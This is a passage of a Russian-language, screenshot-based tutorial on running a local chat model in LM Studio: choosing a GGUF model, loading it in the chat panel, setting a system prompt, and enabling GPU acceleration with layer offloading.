    <img src="https://img4.teletype.in/files/36/c1/36c1073e-2031-4672-a5e5-5aa2ae1f19fb.png" width="59" />
  </figure>
  <p id="EJhF">Ищем любую модель себе по душе. Лучше всего<strong> lmstudio поддерживает gguf формат</strong>, так что в приоритете ищем модели именно с этим форматом.</p>
  <p id="pyPi">Нажимаем на модельку, после чего справа появятся все версии модели. Лично я использую llama2_7b_chat_uncensored.Q4-K-M.gguf.</p>
  <figure id="P3OR" class="m_column">
    <img src="https://img4.teletype.in/files/bf/dc/bfdce5a2-0d2a-45fe-9402-dc670b8e813e.png" width="1920" />
  </figure>
  <h4 id="Используем-нашего-чат-бота">Используем нашего чат-бота</h4>
  <p id="3ltf">Опять смотрим на сайдбар и кликаем на кнопку с эмодзи сообщения.</p>
  <figure id="uc6b" class="m_original">
    <img src="https://img4.teletype.in/files/35/c3/35c320cf-23dd-4401-b2b6-d098b67fe573.png" width="57" />
  </figure>
  <p id="Qjpo">Сверху жмем на широкую кнопочку и выбираем модель, которую мы скачали ранее.</p>
  <figure id="O1mc" class="m_column">
    <img src="https://img2.teletype.in/files/5d/3d/5d3da4c0-bad1-4b33-913a-20240aebdabc.png" width="1920" />
  </figure>
  <p id="M7Pw">Ждем пока наша модель загрузится и... начинаем общаться.</p>
  <figure id="qeCA" class="m_column">
    <img src="https://img2.teletype.in/files/d7/bc/d7bc74b1-0446-41b3-8b8d-044494ddf6ef.png" width="1253" />
  </figure>
  <h4 id="Как-задать-prompt-и-использовать-видеокарту">Как задать prompt и использовать видеокарту</h4>
  <p id="jmzx">На правом сайдбаре мы видим такую картину:</p>
  <figure id="B9zy" class="m_column">
    <img src="https://img3.teletype.in/files/a1/e5/a1e5eb7f-0852-48f7-8d6d-77cd3f3a20d5.png" width="317" />
  </figure>
  <p id="Y7YW">В System prompt / Pre-prompt пишем наш промпт.</p>
  <figure id="XN0M" class="m_original">
    <img src="https://img3.teletype.in/files/a3/27/a327a31f-3fe1-4256-adc6-480ac53a2ae5.png" width="311" />
  </figure>
  <p id="prJU">Включаем GPU Acceleration и по-немногу добавляем слои, это ускорит работу чат-бота.</p>
  <figure id="gGKA" class="m_original">
    <img src="https://img3.teletype.in/files/a2/2c/a22cba7f-3578-430d-b844-9cfb629f27c5.png" width="317" />
  </figure>
  <p id="QNjY">После всего проделанного перезагружаем бота (желтая кнопка снизу у набора сообщения) и кайфуем.</p>
  <figure id="xVNF" class="m_column">
    <img src="https://img2.teletype.in/files/d8/13/d813eb71-0453-45ec-bfca-0391f7f754ab.png" width="1280" />
  </figure>

]]></content:encoded></item></channel></rss>